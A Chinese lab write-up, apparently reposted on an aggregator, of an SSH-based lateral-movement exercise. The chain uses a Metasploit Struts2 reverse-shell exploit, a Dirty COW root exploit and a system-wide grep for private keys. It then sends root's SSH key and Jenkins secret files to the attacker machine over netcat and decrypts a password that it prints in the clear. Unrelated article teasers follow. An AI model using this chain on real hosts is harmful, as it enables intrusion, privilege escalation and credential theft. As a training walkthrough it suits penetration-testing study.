内网渗透之linux到linux横向移动-ssh

news2024/10/7 12:25:38

0x01

一般情况下SSH密钥存放在~/.ssh/目录下,也可以文件中搜索已保存的SSH凭证
~/.ssh/config
~/.ssh/known_hosts
~/.bash_history

grep -ir "BEGIN RSA PRIVATE KEY" /*
grep -ir "BEGIN DSA PRIVATE KEY" /*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /

0x02
环境:THP-csk-lab
在这里插入图片描述
1.信息搜集
存活主机 172.16.250.10 172.16.250.30 172.16.250.50
172.16.250端口
22
80
8088
8009
172.16.250.30 端口
22
172.16.250.50 端口
22

2.访问网站进行进一步信息搜集
在这里插入图片描述
80端口:cms:opencms 10.5.3
一些xss不管用
strus2的漏洞没搜到
/struts2-showcase/show-action
在这里插入图片描述

8080:tomcat
在这里插入图片描述
相关漏洞没利用成功
3.msf利用struts漏洞

use exploit/multi/http/struts2_content_type_ognl
set payload linux/x64/meterpreter/reverse_tcp
set rhosts 172.16.250.10
set lhost 172.16.250.15
set rport 80
run

在这里插入图片描述
在这里插入图片描述
无python2,有python3
交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

4.对172.16.250.10主机进行提权
刚开始信息搜集时没找到什么有用的信息,不如说密码
因为还有两台主机,并且都开放了22的ssh端口,可能会用到ssh的内网横向移动手法,如果能找到密码那更好,找不到还一种方法利用ssh的密匙登录,以下提权是为了获取密匙的
提权:
上传漏洞脚本
扫除出脏牛
在这里插入图片描述
脏牛exp有两种,一种是重置密码,另一种是返回一个root的bash
尝试了第一种可能是在kali上编译的,没有成功,正常来说,如果靶机编译失败,可以找另一台内核和发行版本一样的主机上编译在上传
下面的是返回root的bash
上传exp
编译,并执行

gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
python3 -c "import pty;pty.spawn('/bin/bash')"
chmod +x ./dirtycow-mem
./dirtycow-mem

不敲下面的命令靶机会崩溃
持续稳定:

echo 0 > /proc/sys/vm/dirty_writeback_centisecs
echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn

5.使用ssh进行内网横移
查看172.16.250.10主机历史命令,发现使用密匙对30主机进行了登录
在这里插入图片描述
使用把密匙下载下来

cp root/.ssh/id_rsa /tmp/id_rsa
chmod 777 id_rsa                               #需要赋予权限才可以下载
download  /tmp/id_rsa /root/id_rsa
chmod 0600 id_rsa                            #恢复原来的权限,否则需要输入root密码
ssh -i id_rsa root@172.16.250.30

建立socks服务

run post/multi/manage/autoroute
use auxiliary/server/socks_proxy
set version 4a
run

ssh登录30

ssh -i id_rsa root@172.16.250.30   

5.对30主机做信息搜集
在家目录找到了以下信息
在这里插入图片描述
通过搜索发现这些配置是jenkins的
jenkins
——持续、自动地构建/测试软件项目
——监控一些定时执行的任务
查看端口开放情况
在这里插入图片描述
访问8080端口
发现是tomcat
在这里插入图片描述
8009访问不了
所以尝试访问其他目录,尝试访问/jekins
在这里插入图片描述
可以利用以下凭据进行下一台横向移动,用户是db_backup,在本地用户没有这个用户,所以猜测是50的,是密文所以要进行解密
6.利用jenkins的凭据
利用nc把相关密码文件传到kali中

kali
nc -lvp 1234 > master.key
nc -lvp 1234 > hudson.util.Secret
nc -lvp 1234 > credentials.xml
30主机
nc 172.16.250.129 1234 < /home/jenkins/secrets/master.key
nc 172.16.250.129 1234 < /home/jenkins/secrets/hudson.util.Secret
nc 172.16.250.129 1234 < /home/jenkins/credentials.xml

一条对一条的敲,即在kali敲一条,在30主机上敲一条
进行破解密码

python decrypt.py master.key hudson.util.Secret credentials.xml

在这里插入图片描述
密码:
)uDvra{4UL^;r?*h

7.ssh登录50

ssh db_backup@172.16.250.50
)uDvra{4UL^;r?*h

在这里插入图片描述
发现有个sudo组
发现db_backup用户可以执行任意命令

sudo -l

在这里插入图片描述
直接切换到root

sudo su root
)uDvra{4UL^;r?*h

在这里插入图片描述

安装pycrypto时错误:
python3.10安装失败
在这里插入图片描述
3.9安装成功但是破解失败
在这里插入图片描述

3.8安装时不要直接加版本会出错在这里插入图片描述
不加版本也出错了
在这里插入图片描述

解决方法
1.将vistudio 2019或其他vs版本 中的stdint.h文件放进报错的文件夹ucrt中
在这里插入图片描述

2.修改报错的文件inttype.h
修改为引号
在这里插入图片描述

参考文章:

pycrypto安装失败

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/507587.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot入门学习笔记-快速认识

SpringBoot入门学习笔记-快速认识 快速案例入门案例解析parentstarter引导类内嵌tomcat ) 快速案例 在controller定义一个类 package com.ustc.sp5.controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.…

redis 数据类型简介

redis 数据类型 redis的五种数据类型是&#xff1a;1、string&#xff08;字符串&#xff09;&#xff1b;2、hash&#xff08;哈希&#xff09;&#xff1b;3、list&#xff08;列表&#xff09;&#xff1b;4、set&#xff08;集合&#xff09;&#xff1b;5、sort set &…

QT初体验:手把手带你写一个自己的串口助手

前言 本文记录一下用QT Creator 写一个基本功能齐全的串口助手的过程&#xff0c;整个工程只有几百行代码&#xff0c;跟着做下来对新手来说可以更快了解整个QT项目的开发过程和一些常用控件的使用方法。对新手学习QT能增强信心&#xff0c;话不多说&#xff0c;正文开始 先看…

Mysql日志redo log、bin log、undo log 区别与作用及二阶段提交

一、redo log 重做日志 作用&#xff1a;确保事务的持久性。防止在发生故障的时间点&#xff0c;尚有脏页未写入磁盘&#xff0c;在重启mysql服务的时候&#xff0c;根据redo log进行重做&#xff0c;从而达到事务的持久性这一特性。 内容&#xff1a;物理格式的日志&#x…

46-Dockerfile-USER/WORKDIR指令

USER/WORKDIR指令 前言USER作用格式使用示例 WORKDIR作用格式说明使用示例 前言 本篇来学习下Dockerfile中的USER/WORKDIR指令 USER 作用 指定运行容器时的用户名或 UID&#xff0c;后续的RUN等指令也会使用指定的用户身份 说明&#xff1a; USER 只是帮助我们切换到指定的…

12_Uboot启动流程_4

目录 images全局变量 do_bootz函数 bootz_start函数 do_bootm_states函数 bootm_os_get_boot_func函数 do_bootm_linux函数 images全局变量 不管是bootz还是bootm命令,在启动Linux内核的时候都会用到一个重要的全局变量:images, images在文件cmd/bootm.c中有如下定义: i…

【2023/05/09】Scratch

Hello&#xff01;大家好&#xff0c;我是霜淮子&#xff0c;2023倒计时第4天。 Share The mighty desert is burning for the love of a blade of grass who shaks her head and laughs and flies away. 译文&#xff1a; 无垠的沙漠热烈追求一叶绿草的爱&#xff0c;她摇摇…

PCL中点云分割算法简析

文章目录 前言一、点云分割算法简介1.1 基于RANSAC的点云分割1.2 基于聚类的点云分割1.2.1 欧式聚类分割 1.3 基于深度学习的点云分割 二、算法示例2.1 基于RANSAC的平面分割2.2 欧式聚类2.3 基于PointNet的点云分割 总结 前言 点云分割算法广泛应用于激光遥感、无人驾驶、工业…

centos安装nginx教程

安装所需环境 Nginx 是 C语言 开发&#xff0c;建议在 Linux 上运行&#xff0c;当然&#xff0c;也可以安装 Windows 版本&#xff0c;本篇则使用 CentOS 7 作为安装环境。 一. gcc 安装 安装 nginx 需要先将官网下载的源码进行编译&#xff0c;编译依赖 gcc 环境&#xff0c…

【ESD专题】案例:TVS管钳位电压能不能通过TLP测试数据表征?

这几天遇到一个问题,就是还是想说TVS管导入的时候需要进行IEC61000-4-2 8kV接触静电的钳位波形测试。 比如有时可以看到规格书中给出对应的在IEC61000-4-2 8kV接触时的真实钳位波形: 根据我们文章【ESD专题】TVS管的选择的误区及钳位电压测试方法和一些参考手册所说…

计算机操作系统第四版第七章文件管理—课后习题答案

1.何谓数据项、记录和文件&#xff1f; 数据项&#xff1a;是最低级的数据组织形式&#xff0c;可以分为两种类型&#xff1a;基本数据项和组合数据项。基本数据项是用于描述一个对象的某种属性的字符集&#xff0c;是数据组织中可以命名的最小逻辑数据单位&#xff0c;又称为字…

使用volta对node版本进行控制

安装volta 首先下载volta 下载完成之后在电脑上使用命令行工具查看是否安装成功 volta -v 使用 volta -h 命令可以查看volta的一些用法 安装全局的node版本,可以有三种,第一种是安装最新的,第二种是安装某一个大版本下的,第三种是安装指定的node版本(安装的时候需要等待一段时…

Rest风格复习

Rest风格复习 简介三种注解的风格快速开发 简介 通过一段路径和访问方式来确定访问资源的行为方式 使用POST方式 // value定义 路径 method定义访问的方式RequestMapping(value "/users",method RequestMethod.POST)ResponseBodypublic String save(){System.out.…

Andrew Ng和OpenAI教你写prompt

课程地址&#xff1a; https://learn.deeplearning.ai/chatgpt-prompt-engb站搬运&#xff1a; https://www.bilibili.com/video/BV1No4y1t7Zn 教学人员&#xff1a;Lsa Fulford&#xff0c; Andrew NG LLM的两种样式 Base LLM:基于文本训练数据预测下一个词的概率&#xff0…

制作Alpine Linux镜像报错errors: 15 distinct packages available

1.执行报错 执行docker build -t 镜像:版本 -f Dockerfile . 报错&#xff1a; 2.查看网上的解决思路 网上文档解决思路&#xff1a; 这边我做了一下改变把这些写入了dockerfile 加了几个RUN RUN rm -rf /var/cache/apk RUN mkdir -p /var/cache/apk RUN apk update -v 发现还…

Java基本数据类型详解及应用示例

Java作为一门强类型语言&#xff0c;基本数据类型是非常重要的概念。Java中基本数据类型分为四种类别&#xff1a;整数类型、浮点数类型、字符类型和布尔类型。其中&#xff0c;每一种数据类型都有着不同的占用字节数和表示范围&#xff0c;合理使用选择不同的数据类型可以提高…

数组低效的“插入”和“删除”

插入操作 假设数组的长度为 n&#xff0c;现在&#xff0c;如果我们需要将一个数据插入到数组中的第 k 个位置。为了把第 k 个位置腾出来&#xff0c;给新来的数据&#xff0c;我们需要将第 k&#xff5e;n 这部分的元素都顺序地往后挪一位。那插入操作的时间复杂度是多少呢&a…

ChatGPT 中文指令指南,教会你如何使用chatgpt实现中文你想要的答案

&#x1f9e0; ChatGPT 中文指令指南&#xff0c;教会你如何使用chatgpt实现中文你想要的答案 1.学习英语–替代词典 App 场景例子Prompts解释中文英文意思&#xff0c;并解释单词的词根词缀。可以替代词典。告诉我 Egocentric 的词性和音标&#xff0c;并使用中文和英文解释…

OpenAI开源语音识别模型Whisper在Windows系统的安装详细过程

1、安装Python Python的安装很简单&#xff0c;点击这里进行下载。 安装完成之后&#xff0c;输入python -V可以看到版本信息&#xff0c;说明已经安装成功了。 如果输入python -V命令没有看到上面的这样的信息&#xff0c;要么是安装失败&#xff0c;要么是安装好之后没有自…

【自然语言处理】【大模型】CodeGen:一个用于多轮程序合成的代码大语言模型

CodeGen&#xff1a;一个用于多轮程序合成的代码大语言模型 《Code Gen: An Open Large Language Model For Code with Multi-Turn Program Synthesis》 论文地址&#xff1a;https://arxiv.org/pdf/2203.13474.pdf?trkpublic_post_comment-text 相关博客 【自然语言处理】【大…